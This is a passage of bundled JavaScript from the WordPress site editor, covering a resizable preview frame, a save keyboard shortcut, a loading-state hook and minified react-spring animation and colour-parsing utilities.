useLocation: resizable_frame_useLocation,
useHistory: resizable_frame_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
// Removes the inline styles in the drag handles.
const HANDLE_STYLES_OVERRIDE = {
position: undefined,
userSelect: undefined,
cursor: undefined,
width: undefined,
height: undefined,
top: undefined,
right: undefined,
bottom: undefined,
left: undefined
};
// The minimum width of the frame (in px) while resizing.
const FRAME_MIN_WIDTH = 320;
// The reference width of the frame (in px) used to calculate the aspect ratio.
const FRAME_REFERENCE_WIDTH = 1300;
// 9 : 19.5 is the target aspect ratio enforced (when possible) while resizing.
const FRAME_TARGET_ASPECT_RATIO = 9 / 19.5;
// The minimum distance (in px) between the frame resize handle and the
// viewport's edge. If the frame is resized to be closer to the viewport's edge
// than this distance, then "canvas mode" will be enabled.
const SNAP_TO_EDIT_CANVAS_MODE_THRESHOLD = 200;
// Default size for the `frameSize` state.
const INITIAL_FRAME_SIZE = {
width: '100%',
height: '100%'
};
function calculateNewHeight(width, initialAspectRatio) {
const lerp = (a, b, amount) => {
return a + (b - a) * amount;
};
// Calculate the intermediate aspect ratio based on the current width.
const lerpFactor = 1 - Math.max(0, Math.min(1, (width - FRAME_MIN_WIDTH) / (FRAME_REFERENCE_WIDTH - FRAME_MIN_WIDTH)));
// Calculate the height based on the intermediate aspect ratio
// ensuring the frame arrives at the target aspect ratio.
const intermediateAspectRatio = lerp(initialAspectRatio, FRAME_TARGET_ASPECT_RATIO, lerpFactor);
return width / intermediateAspectRatio;
}
function ResizableFrame({
isFullWidth,
isOversized,
setIsOversized,
isReady,
children,
/** The default (unresized) width/height of the frame, based on the space available in the viewport. */
defaultSize,
innerContentStyle
}) {
const history = resizable_frame_useHistory();
const {
path,
query
} = resizable_frame_useLocation();
const {
canvas = 'view'
} = query;
const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
const [frameSize, setFrameSize] = (0,external_wp_element_namespaceObject.useState)(INITIAL_FRAME_SIZE);
// The width of the resizable frame when a new resize gesture starts.
const [startingWidth, setStartingWidth] = (0,external_wp_element_namespaceObject.useState)();
const [isResizing, setIsResizing] = (0,external_wp_element_namespaceObject.useState)(false);
const [shouldShowHandle, setShouldShowHandle] = (0,external_wp_element_namespaceObject.useState)(false);
const [resizeRatio, setResizeRatio] = (0,external_wp_element_namespaceObject.useState)(1);
const FRAME_TRANSITION = {
type: 'tween',
duration: isResizing ? 0 : 0.5
};
const frameRef = (0,external_wp_element_namespaceObject.useRef)(null);
const resizableHandleHelpId = (0,external_wp_compose_namespaceObject.useInstanceId)(ResizableFrame, 'edit-site-resizable-frame-handle-help');
const defaultAspectRatio = defaultSize.width / defaultSize.height;
const isBlockTheme = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getCurrentTheme
} = select(external_wp_coreData_namespaceObject.store);
return getCurrentTheme()?.is_block_theme;
}, []);
const handleResizeStart = (_event, _direction, ref) => {
// Remember the starting width so we don't have to get `ref.offsetWidth` on
// every resize event thereafter, which will cause layout thrashing.
setStartingWidth(ref.offsetWidth);
setIsResizing(true);
};
// Calculate the frame size based on the window width as its resized.
const handleResize = (_event, _direction, _ref, delta) => {
const normalizedDelta = delta.width / resizeRatio;
const deltaAbs = Math.abs(normalizedDelta);
const maxDoubledDelta = delta.width < 0 // is shrinking
? deltaAbs : (defaultSize.width - startingWidth) / 2;
const deltaToDouble = Math.min(deltaAbs, maxDoubledDelta);
const doubleSegment = deltaAbs === 0 ? 0 : deltaToDouble / deltaAbs;
const singleSegment = 1 - doubleSegment;
setResizeRatio(singleSegment + doubleSegment * 2);
const updatedWidth = startingWidth + delta.width;
setIsOversized(updatedWidth > defaultSize.width);
// Width will be controlled by the library (via `resizeRatio`),
// so we only need to update the height.
setFrameSize({
height: isOversized ? '100%' : calculateNewHeight(updatedWidth, defaultAspectRatio)
});
};
const handleResizeStop = (_event, _direction, ref) => {
setIsResizing(false);
if (!isOversized) {
return;
}
setIsOversized(false);
const remainingWidth = ref.ownerDocument.documentElement.offsetWidth - ref.offsetWidth;
if (remainingWidth > SNAP_TO_EDIT_CANVAS_MODE_THRESHOLD || !isBlockTheme) {
// Reset the initial aspect ratio if the frame is resized slightly
// above the sidebar but not far enough to trigger full screen.
setFrameSize(INITIAL_FRAME_SIZE);
} else {
// Trigger full screen if the frame is resized far enough to the left.
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
canvas: 'edit'
}), {
transition: 'canvas-mode-edit-transition'
});
}
};
// Handle resize by arrow keys
const handleResizableHandleKeyDown = event => {
if (!['ArrowLeft', 'ArrowRight'].includes(event.key)) {
return;
}
event.preventDefault();
const step = 20 * (event.shiftKey ? 5 : 1);
const delta = step * (event.key === 'ArrowLeft' ? 1 : -1) * ((0,external_wp_i18n_namespaceObject.isRTL)() ? -1 : 1);
const newWidth = Math.min(Math.max(FRAME_MIN_WIDTH, frameRef.current.resizable.offsetWidth + delta), defaultSize.width);
setFrameSize({
width: newWidth,
height: calculateNewHeight(newWidth, defaultAspectRatio)
});
};
const frameAnimationVariants = {
default: {
flexGrow: 0,
height: frameSize.height
},
fullWidth: {
flexGrow: 1,
height: frameSize.height
}
};
const resizeHandleVariants = {
hidden: {
opacity: 0,
...((0,external_wp_i18n_namespaceObject.isRTL)() ? {
right: 0
} : {
left: 0
})
},
visible: {
opacity: 1,
// Account for the handle's width.
...((0,external_wp_i18n_namespaceObject.isRTL)() ? {
right: -14
} : {
left: -14
})
},
active: {
opacity: 1,
// Account for the handle's width.
...((0,external_wp_i18n_namespaceObject.isRTL)() ? {
right: -14
} : {
left: -14
}),
scaleY: 1.3
}
};
const currentResizeHandleVariant = (() => {
if (isResizing) {
return 'active';
}
return shouldShowHandle ? 'visible' : 'hidden';
})();
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ResizableBox, {
as: external_wp_components_namespaceObject.__unstableMotion.div,
ref: frameRef,
initial: false,
variants: frameAnimationVariants,
animate: isFullWidth ? 'fullWidth' : 'default',
onAnimationComplete: definition => {
if (definition === 'fullWidth') {
setFrameSize({
width: '100%',
height: '100%'
});
}
},
whileHover: canvas === 'view' && isBlockTheme ? {
scale: 1.005,
transition: {
duration: disableMotion ? 0 : 0.5,
ease: 'easeOut'
}
} : {},
transition: FRAME_TRANSITION,
size: frameSize,
enable: {
top: false,
bottom: false,
// Resizing will be disabled until the editor content is loaded.
...((0,external_wp_i18n_namespaceObject.isRTL)() ? {
right: isReady,
left: false
} : {
left: isReady,
right: false
}),
topRight: false,
bottomRight: false,
bottomLeft: false,
topLeft: false
},
resizeRatio: resizeRatio,
handleClasses: undefined,
handleStyles: {
left: HANDLE_STYLES_OVERRIDE,
right: HANDLE_STYLES_OVERRIDE
},
minWidth: FRAME_MIN_WIDTH,
maxWidth: isFullWidth ? '100%' : '150%',
maxHeight: "100%",
onFocus: () => setShouldShowHandle(true),
onBlur: () => setShouldShowHandle(false),
onMouseOver: () => setShouldShowHandle(true),
onMouseOut: () => setShouldShowHandle(false),
handleComponent: {
[(0,external_wp_i18n_namespaceObject.isRTL)() ? 'right' : 'left']: canvas === 'view' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, {
text: (0,external_wp_i18n_namespaceObject.__)('Drag to resize'),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.button, {
role: "separator",
"aria-orientation": "vertical",
className: dist_clsx('edit-site-resizable-frame__handle', {
'is-resizing': isResizing
}),
variants: resizeHandleVariants,
animate: currentResizeHandleVariant,
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Drag to resize'),
"aria-describedby": resizableHandleHelpId,
"aria-valuenow": frameRef.current?.resizable?.offsetWidth || undefined,
"aria-valuemin": FRAME_MIN_WIDTH,
"aria-valuemax": defaultSize.width,
onKeyDown: handleResizableHandleKeyDown,
initial: "hidden",
exit: "hidden",
whileFocus: "active",
whileHover: "active"
}, "handle")
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
hidden: true,
id: resizableHandleHelpId,
children: (0,external_wp_i18n_namespaceObject.__)('Use left and right arrow keys to resize the canvas. Hold shift to resize in larger increments.')
})]
})
},
onResizeStart: handleResizeStart,
onResize: handleResize,
onResizeStop: handleResizeStop,
className: dist_clsx('edit-site-resizable-frame__inner', {
'is-resizing': isResizing
}),
showHandle: false // Do not show the default handle, as we're using a custom one.
,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-resizable-frame__inner-content",
style: innerContentStyle,
children: children
})
});
}
/* harmony default export */ const resizable_frame = (ResizableFrame);
;// external ["wp","keyboardShortcuts"]
const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
;// ./node_modules/@wordpress/edit-site/build-module/components/save-keyboard-shortcut/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const shortcutName = 'core/edit-site/save';
/**
* Register the save keyboard shortcut in view mode.
*
* @return {null} Returns null.
*/
function SaveKeyboardShortcut() {
const {
__experimentalGetDirtyEntityRecords,
isSavingEntityRecord
} = (0,external_wp_data_namespaceObject.useSelect)(external_wp_coreData_namespaceObject.store);
const {
hasNonPostEntityChanges,
isPostSavingLocked
} = (0,external_wp_data_namespaceObject.useSelect)(external_wp_editor_namespaceObject.store);
const {
savePost
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
const {
setIsSaveViewOpened
} = (0,external_wp_data_namespaceObject.useDispatch)(store);
const {
registerShortcut,
unregisterShortcut
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
(0,external_wp_element_namespaceObject.useEffect)(() => {
registerShortcut({
name: shortcutName,
category: 'global',
description: (0,external_wp_i18n_namespaceObject.__)('Save your changes.'),
keyCombination: {
modifier: 'primary',
character: 's'
}
});
return () => {
unregisterShortcut(shortcutName);
};
}, [registerShortcut, unregisterShortcut]);
(0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/edit-site/save', event => {
event.preventDefault();
const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
const hasDirtyEntities = !!dirtyEntityRecords.length;
const isSaving = dirtyEntityRecords.some(record => isSavingEntityRecord(record.kind, record.name, record.key));
if (!hasDirtyEntities || isSaving) {
return;
}
if (hasNonPostEntityChanges()) {
setIsSaveViewOpened(true);
} else if (!isPostSavingLocked()) {
savePost();
}
});
return null;
}
;// ./node_modules/@wordpress/edit-site/build-module/components/layout/hooks.js
/**
* WordPress dependencies
*/
const MAX_LOADING_TIME = 10000; // 10 seconds
function useIsSiteEditorLoading() {
const [loaded, setLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
const inLoadingPause = (0,external_wp_data_namespaceObject.useSelect)(select => {
const hasResolvingSelectors = select(external_wp_coreData_namespaceObject.store).hasResolvingSelectors();
return !loaded && !hasResolvingSelectors;
}, [loaded]);
/*
* If the maximum expected loading time has passed, we're marking the
* editor as loaded, in order to prevent any failed requests from blocking
* the editor canvas from appearing.
*/
(0,external_wp_element_namespaceObject.useEffect)(() => {
let timeout;
if (!loaded) {
timeout = setTimeout(() => {
setLoaded(true);
}, MAX_LOADING_TIME);
}
return () => {
clearTimeout(timeout);
};
}, [loaded]);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (inLoadingPause) {
/*
* We're using an arbitrary 100ms timeout here to catch brief
* moments without any resolving selectors that would result in
* displaying brief flickers of loading state and loaded state.
*
* It's worth experimenting with different values, since this also
* adds 100ms of artificial delay after loading has finished.
*/
const ARTIFICIAL_DELAY = 100;
const timeout = setTimeout(() => {
setLoaded(true);
}, ARTIFICIAL_DELAY);
return () => {
clearTimeout(timeout);
};
}
}, [inLoadingPause]);
return !loaded;
}
;// ./node_modules/@react-spring/rafz/dist/esm/index.js
var esm_f=esm_l(),esm_n=e=>esm_c(e,esm_f),esm_m=esm_l();esm_n.write=e=>esm_c(e,esm_m);var esm_d=esm_l();esm_n.onStart=e=>esm_c(e,esm_d);var esm_h=esm_l();esm_n.onFrame=e=>esm_c(e,esm_h);var esm_p=esm_l();esm_n.onFinish=e=>esm_c(e,esm_p);var esm_i=[];esm_n.setTimeout=(e,t)=>{let a=esm_n.now()+t,o=()=>{let F=esm_i.findIndex(z=>z.cancel==o);~F&&esm_i.splice(F,1),esm_u-=~F?1:0},s={time:a,handler:e,cancel:o};return esm_i.splice(esm_w(a),0,s),esm_u+=1,esm_v(),s};var esm_w=e=>~(~esm_i.findIndex(t=>t.time>e)||~esm_i.length);esm_n.cancel=e=>{esm_d.delete(e),esm_h.delete(e),esm_p.delete(e),esm_f.delete(e),esm_m.delete(e)};esm_n.sync=e=>{T=!0,esm_n.batchedUpdates(e),T=!1};esm_n.throttle=e=>{let t;function a(){try{e(...t)}finally{t=null}}function o(...s){t=s,esm_n.onStart(a)}return o.handler=e,o.cancel=()=>{esm_d.delete(a),t=null},o};var esm_y=typeof window<"u"?window.requestAnimationFrame:()=>{};esm_n.use=e=>esm_y=e;esm_n.now=typeof performance<"u"?()=>performance.now():Date.now;esm_n.batchedUpdates=e=>e();esm_n.catch=console.error;esm_n.frameLoop="always";esm_n.advance=()=>{esm_n.frameLoop!=="demand"?console.warn("Cannot call the manual advancement of rafz whilst frameLoop is not set as demand"):esm_x()};var esm_r=-1,esm_u=0,T=!1;function esm_c(e,t){T?(t.delete(e),e(0)):(t.add(e),esm_v())}function esm_v(){esm_r<0&&(esm_r=0,esm_n.frameLoop!=="demand"&&esm_y(esm_b))}function esm_R(){esm_r=-1}function esm_b(){~esm_r&&(esm_y(esm_b),esm_n.batchedUpdates(esm_x))}function esm_x(){let e=esm_r;esm_r=esm_n.now();let t=esm_w(esm_r);if(t&&(Q(esm_i.splice(0,t),a=>a.handler()),esm_u-=t),!esm_u){esm_R();return}esm_d.flush(),esm_f.flush(e?Math.min(64,esm_r-e):16.667),esm_h.flush(),esm_m.flush(),esm_p.flush()}function esm_l(){let e=new Set,t=e;return{add(a){esm_u+=t==e&&!e.has(a)?1:0,e.add(a)},delete(a){return esm_u-=t==e&&e.has(a)?1:0,e.delete(a)},flush(a){t.size&&(e=new Set,esm_u-=t.size,Q(t,o=>o(a)&&e.add(o)),esm_u+=e.size,t=e)}}}function Q(e,t){e.forEach(a=>{try{t(a)}catch(o){esm_n.catch(o)}})}var esm_S={count(){return esm_u},isRunning(){return esm_r>=0},clear(){esm_r=-1,esm_i=[],esm_d=esm_l(),esm_f=esm_l(),esm_h=esm_l(),esm_m=esm_l(),esm_p=esm_l(),esm_u=0}};
// EXTERNAL MODULE: external "React"
var external_React_ = __webpack_require__(1609);
var external_React_namespaceObject = /*#__PURE__*/__webpack_require__.t(external_React_, 2);
;// ./node_modules/@react-spring/shared/dist/esm/index.js
var ze=Object.defineProperty;var Le=(e,t)=>{for(var r in t)ze(e,r,{get:t[r],enumerable:!0})};var dist_esm_p={};Le(dist_esm_p,{assign:()=>U,colors:()=>dist_esm_c,createStringInterpolator:()=>esm_k,skipAnimation:()=>ee,to:()=>J,willAdvance:()=>dist_esm_S});function Y(){}var mt=(e,t,r)=>Object.defineProperty(e,t,{value:r,writable:!0,configurable:!0}),dist_esm_l={arr:Array.isArray,obj:e=>!!e&&e.constructor.name==="Object",fun:e=>typeof e=="function",str:e=>typeof e=="string",num:e=>typeof e=="number",und:e=>e===void 0};function bt(e,t){if(dist_esm_l.arr(e)){if(!dist_esm_l.arr(t)||e.length!==t.length)return!1;for(let r=0;r<e.length;r++)if(e[r]!==t[r])return!1;return!0}return e===t}var esm_Ve=(e,t)=>e.forEach(t);function xt(e,t,r){if(dist_esm_l.arr(e)){for(let n=0;n<e.length;n++)t.call(r,e[n],`${n}`);return}for(let n in e)e.hasOwnProperty(n)&&t.call(r,e[n],n)}var ht=e=>dist_esm_l.und(e)?[]:dist_esm_l.arr(e)?e:[e];function Pe(e,t){if(e.size){let r=Array.from(e);e.clear(),esm_Ve(r,t)}}var yt=(e,...t)=>Pe(e,r=>r(...t)),dist_esm_h=()=>typeof window>"u"||!window.navigator||/ServerSideRendering|^Deno\//.test(window.navigator.userAgent);var esm_k,J,dist_esm_c=null,ee=!1,dist_esm_S=Y,U=e=>{e.to&&(J=e.to),e.now&&(esm_n.now=e.now),e.colors!==void 0&&(dist_esm_c=e.colors),e.skipAnimation!=null&&(ee=e.skipAnimation),e.createStringInterpolator&&(esm_k=e.createStringInterpolator),e.requestAnimationFrame&&esm_n.use(e.requestAnimationFrame),e.batchedUpdates&&(esm_n.batchedUpdates=e.batchedUpdates),e.willAdvance&&(dist_esm_S=e.willAdvance),e.frameLoop&&(esm_n.frameLoop=e.frameLoop)};var esm_E=new Set,dist_esm_u=[],esm_H=[],A=0,qe={get idle(){return!esm_E.size&&!dist_esm_u.length},start(e){A>e.priority?(esm_E.add(e),esm_n.onStart($e)):(te(e),esm_n(B))},advance:B,sort(e){if(A)esm_n.onFrame(()=>qe.sort(e));else{let t=dist_esm_u.indexOf(e);~t&&(dist_esm_u.splice(t,1),re(e))}},clear(){dist_esm_u=[],esm_E.clear()}};function $e(){esm_E.forEach(te),esm_E.clear(),esm_n(B)}function te(e){dist_esm_u.includes(e)||re(e)}function re(e){dist_esm_u.splice(Ge(dist_esm_u,t=>t.priority>e.priority),0,e)}function B(e){let t=esm_H;for(let r=0;r<dist_esm_u.length;r++){let n=dist_esm_u[r];A=n.priority,n.idle||(dist_esm_S(n),n.advance(e),n.idle||t.push(n))}return A=0,esm_H=dist_esm_u,esm_H.length=0,dist_esm_u=t,dist_esm_u.length>0}function Ge(e,t){let r=e.findIndex(t);return r<0?e.length:r}var ne=(e,t,r)=>Math.min(Math.max(r,e),t);var It={transparent:0,aliceblue:4042850303,antiquewhite:4209760255,aqua:16777215,aquamarine:2147472639,azure:4043309055,beige:4126530815,bisque:4293182719,black:255,blanchedalmond:4293643775,blue:65535,blueviolet:2318131967,brown:2771004159,burlywood:3736635391,burntsienna:3934150143,cadetblue:1604231423,chartreuse:2147418367,chocolate:3530104575,coral:4286533887,cornflowerblue:1687547391,cornsilk:4294499583,crimson:3692313855,cyan:16777215,darkblue:35839,darkcyan:9145343,darkgoldenrod:3095792639,darkgray:2846468607,darkgreen:6553855,darkgrey:2846468607,darkkhaki:3182914559,darkmagenta:2332068863,darkolivegreen:1433087999,darkorange:4287365375,darkorchid:2570243327,darkred:2332033279,darksalmon:3918953215,darkseagreen:2411499519,darkslateblue:1211993087,darkslategray:793726975,darkslategrey:793726975,darkturquoise:13554175,darkviolet:2483082239,deeppink:4279538687,deepskyblue:12582911,dimgray:1768516095,dimgrey:1768516095,dodgerblue:512819199,firebrick:2988581631,floralwhite:4294635775,forestgreen:579543807,fuchsia:4278255615,gainsboro:3705462015,ghostwhite:4177068031,gold:4292280575,goldenrod:3668254975,gray:2155905279,green:8388863,greenyellow:2919182335,grey:2155905279,honeydew:4043305215,hotpink:4285117695,indianred:3445382399,indigo:1258324735,ivory:4294963455,khaki:4041641215,lavender:3873897215,lavenderblush:4293981695,lawngreen:2096890111,lemonchiffon:4294626815,lightblue:2916673279,lightcoral:4034953471,lightcyan:3774873599,lightgoldenrodyellow:4210742015,lightgray:3553874943,lightgreen:2431553791,lightgrey:3553874943,lightpink:4290167295,lightsalmon:4288707327,lightseagreen:548580095,lightskyblue:2278488831,lightslategray:2005441023,lightslategrey:2005441023,lightsteelblue:2965692159,lightyellow:4294959359,lime:16711935,limegreen:852308735,linen:4210091775,magenta:4278255615,maroon:2147483903,mediumaquamarine:1724754687,mediumblue:52735,mediumorchid:3126187007,mediumpurple:2473647103,mediumseagreen:1018393087,mediumslateblue:2070474495,mediumspringgreen:16423679,mediumturquoise:1221709055,mediumvioletred:3340076543,midnightblue:421097727,mintcream:4127193855,mistyrose:4293190143,moccasin:4293178879,navajowhite:4292783615,navy:33023,oldlace:4260751103,olive:2155872511,olivedrab:1804477439,orange:4289003775,orangered:4282712319,orchid:3664828159,palegoldenrod:4008225535,palegreen:2566625535,paleturquoise:2951671551,palevioletred:3681588223,papayawhip:4293907967,peachpuff:4292524543,peru:3448061951,pink:4290825215,plum:3718307327,powderblue:2967529215,purple:2147516671,rebeccapurple:1714657791,red:4278190335,rosybrown:3163525119,royalblue:1097458175,saddlebrown:2336560127,salmon:4202722047,sandybrown:4104413439,seagreen:780883967,seashell:4294307583,sienna:2689740287,silver:3233857791,skyblue:2278484991,slateblue:1784335871,slategray:1887473919,slategrey:1887473919,snow:4294638335,springgreen:16744447,steelblue:1182971135,tan:3535047935,teal:8421631,thistle:3636451583,tomato:4284696575,turquoise:1088475391,violet:4001558271,wheat:4125012991,white:4294967295,whitesmoke:4126537215,yellow:4294902015,yellowgreen:2597139199};var dist_esm_d="[-+]?\\d*\\.?\\d+",esm_M=dist_esm_d+"%";function C(...e){return"\\(\\s*("+e.join(")\\s*,\\s*(")+")\\s*\\)"}var oe=new RegExp("rgb"+C(dist_esm_d,dist_esm_d,dist_esm_d)),fe=new RegExp("rgba"+C(dist_esm_d,dist_esm_d,dist_esm_d,dist_esm_d)),ae=new RegExp("hsl"+C(dist_esm_d,esm_M,esm_M)),ie=new RegExp("hsla"+C(dist_esm_d,esm_M,esm_M,dist_esm_d)),se=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,ue=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,le=/^#([0-9a-fA-F]{6})$/,esm_ce=/^#([0-9a-fA-F]{8})$/;function be(e){let t;return typeof e=="number"?e>>>0===e&&e>=0&&e<=4294967295?e:null:(t=le.exec(e))?parseInt(t[1]+"ff",16)>>>0:dist_esm_c&&dist_esm_c[e]!==void 0?dist_esm_c[e]:(t=oe.exec(e))?(dist_esm_y(t[1])<<24|dist_esm_y(t[2])<<16|dist_esm_y(t[3])<<8|255)>>>0:(t=fe.exec(e))?(dist_esm_y(t[1])<<24|dist_esm_y(t[2])<<16|dist_esm_y(t[3])<<8|me(t[4]))>>>0:(t=se.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+"ff",16)>>>0:(t=esm_ce.exec(e))?parseInt(t[1],16)>>>0:(t=ue.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+t[4]+t[4],16)>>>0:(t=ae.exec(e))?(de(esm_pe(t[1]),esm_z(t[2]),esm_z(t[3]))|255)>>>0:(t=ie.exec(e))?(de(esm_pe(t[1]),esm_z(t[2]),esm_z(t[3]))|me(t[4]))>>>0:null}function esm_j(e,t,r){return r<0&&(r+=1),r>1&&(r-=1),r<1/6?e+(t-e)*6*r:r<1/2?t:r<2/3?e+(t-e)*(2/3-r)*6:e}function de(e,t,r){let n=r<.5?r*(1+t):r+t-r*t,f=2*r-n,o=esm_j(f,n,e+1/3),i=esm_j(f,n,e),s=esm_j(f,n,e-1/3);return Math.round(o*255)<<24|Math.round(i*255)<<16|Math.round(s*255)<<8}function dist_esm_y(e){let t=parseInt(e,10);return t<0?0:t>255?255:t}function esm_pe(e){return(parseFloat(e)%360+360)%360/360}function me(e){let t=parseFloat(e);return t<0?0:t>1?255:Math.round(t*255)}function esm_z(e){let t=parseFloat(e);return t<0?0:t>100?1:t/100}function D(e){let t=be(e);if(t===null)return e;t=t||0;let r=(t&4278190080)>>>24,n=(t&16711680)>>>16,f=(t&65280)>>>8,o=(t&255)/255;return`rgba(${r}, ${n}, ${f}, ${o})`}var W=(e,t,r)=>{if(dist_esm_l.fun(e))return e;if(dist_esm_l.arr(e))return W({range:e,output:t,extrapolate:r});if(dist_esm_l.str(e.output[0]))return esm_k(e);let n=e,f=n.output,o=n.range||[0,1],i=n.extrapolateLeft||n.extrapolate||"extend",s=n.extrapolateRight||n.extrapolate||"extend",x=n.easing||(a=>a);return a=>{let F=He(a,o);return Ue(a,o[F],o[F+1],f[F],f[F+1],x,i,s,n.map)}};function Ue(e,t,r,n,f,o,i,s,x){let a=x?x(e):e;if(a<t){if(i==="identity")return a;i==="clamp"&&(a=t)}if(a>r){if(s==="identity")return a;s==="clamp"&&(a=r)}return n===f?n:t===r?e<=t?n:f:(t===-1/0?a=-a:r===1/0?a=a-t:a=(a-t)/(r-t),a=o(a),n===-1/0?a=-a:f===1/0?a=a+n:a=a*(f-n)+n,a)}function He(e,t){for(var r=1;r<t.length-1&&!(t[r]>=e);++r);return r-1}var Be=(e,t="end")=>r=>{r=t==="end"?Math.min(r,.999):Math.max(r,.001);let n=r*e,f=t==="end"?Math.floor(n):Math.ceil(n);return ne(0,1,f/e)},P=1.70158,L=P*1.525,xe=P+1,he=2*Math.PI/3,ye=2*Math.PI/4.5,V=e=>e<1/2.75?7.5625*e*e:e<2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e<2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375,Lt={linear:e=>e,easeInQuad:e=>e*e,easeOutQuad:e=>1-(1-e)*(1-e),easeInOutQuad:e=>e<.5?2*e*e:1-Math.pow(-2*e+2,2)/2,easeInCubic:e=>e*e*e,easeOutCubic:e=>1-Math.pow(1-e,3),easeInOutCubic:e=>e<.5?4*e*e*e:1-Math.pow(-2*e+2,3)/2,easeInQuart:e=>e*e*e*e,easeOutQuart:e=>1-Math.pow(1-e,4),easeInOutQuart:e=>e<.5?8*e*e*e*e:1-Math.pow(-2*e+2,4)/2,easeInQuint:e=>e*e*e*e*e,easeOutQuint:e=>1-Math.pow(1-e,5),easeInOutQuint:e=>e<.5?16*e*e*e*e*e:1-Math.pow(-2*e+2,5)/2,easeInSine:e=>1-Math.cos(e*Math.PI/2),easeOutSine:e=>Math.sin(e*Math.PI/2),easeInOutSine:e=>-(Math.cos(Math.PI*e)-1)/2,easeInExpo:e=>e===0?0:Math.pow(2,10*e-10),easeOutExpo:e=>e===1?1:1-Math.pow(2,-10*e),easeInOutExpo:e=>e===0?0:e===1?1:e<.5?Math.pow(2,20*e-10)/2:(2-Math.pow(2,-20*e+10))/2,easeInCirc:e=>1-Math.sqrt(1-Math.pow(e,2)),easeOutCirc:e=>Math.sqrt(1-Math.pow(e-1,2)),easeInOutCirc:e=>e<.5?(1-Math.sqrt(1-Math.pow(2*e,2)))/2:(Math.sqrt(1-Math.pow(-2*e+2,2))+1)/2,easeInBack:e=>xe*e*e*e-P*e*e,easeOutBack:e=>1+xe*Math.pow(e-1,3)+P*Math.pow(e-1,2),easeInOutBack:e=>e<.5?Math.pow(2*e,2)*((L+1)*2*e-L)/2:(Math.pow(2*e-2,2)*((L+1)*(e*2-2)+L)+2)/2,easeInElastic:e=>e===0?0:e===1?1:-Math.pow(2,10*e-10)*Math.sin((e*10-10.75)*he),easeOutElastic:e=>e===0?0:e===1?1:Math.pow(2,-10*e)*Math.sin((e*10-.75)*he)+1,easeInOutElastic:e=>e===0?0:e===1?1:e<.5?-(Math.pow(2,20*e-10)*Math.sin((20*e-11.125)*ye))/2:Math.pow(2,-20*e+10)*Math.sin((20*e-11.125)*ye)/2+1,easeInBounce:e=>1-V(1-e),easeOutBounce:V,easeInOutBounce:e=>e<.5?(1-V(1-2*e))/2:(1+V(2*e-1))/2,steps:Be};var esm_g=Symbol.for("FluidValue.get"),dist_esm_m=Symbol.for("FluidValue.observers");var Pt=e=>Boolean(e&&e[esm_g]),ve=e=>e&&e[esm_g]?e[esm_g]():e,esm_qt=e=>e[dist_esm_m]||null;function je(e,t){e.eventObserved?e.eventObserved(t):e(t)}function $t(e,t){let r=e[dist_esm_m];r&&r.forEach(n=>{je(n,t)})}var esm_ge=class{[esm_g];[dist_esm_m];constructor(t){if(!t&&!(t=this.get))throw Error("Unknown getter");De(this,t)}},De=(e,t)=>Ee(e,esm_g,t);function Gt(e,t){if(e[esm_g]){let r=e[dist_esm_m];r||Ee(e,dist_esm_m,r=new Set),r.has(t)||(r.add(t),e.observerAdded&&e.observerAdded(r.size,t))}return t}function Qt(e,t){let r=e[dist_esm_m];if(r&&r.has(t)){let n=r.size-1;n?r.delete(t):e[dist_esm_m]=null,e.observerRemoved&&e.observerRemoved(n,t)}}var Ee=(e,t,r)=>Object.defineProperty(e,t,{value:r,writable:!0,configurable:!0});var O=/[+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,esm_Oe=/(#(?:[0-9a-f]{2}){2,4}|(#[0-9a-f]{3})|(rgb|hsl)a?\((-?\d+%?[,\s]+){2,3}\s*[\d\.]+%?\))/gi,K=new RegExp(`(${O.source})(%|[a-z]+)`,"i"),we=/rgba\(([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+)\)/gi,dist_esm_b=/var\((--[a-zA-Z0-9-_]+),? ?([a-zA-Z0-9 ()%#.,-]+)?\)/;var esm_N=e=>{let[t,r]=We(e);if(!t||dist_esm_h())return e;let n=window.getComputedStyle(document.documentElement).getPropertyValue(t);if(n)return n.trim();if(r&&r.startsWith("--")){let f=window.getComputedStyle(document.documentElement).getPropertyValue(r);return f||e}else{if(r&&dist_esm_b.test(r))return esm_N(r);if(r)return r}return e},We=e=>{let t=dist_esm_b.exec(e);if(!t)return[,];let[,r,n]=t;return[r,n]};var _,esm_Ke=(e,t,r,n,f)=>`rgba(${Math.round(t)}, ${Math.round(r)}, ${Math.round(n)}, ${f})`,Xt=e=>{_||(_=dist_esm_c?new 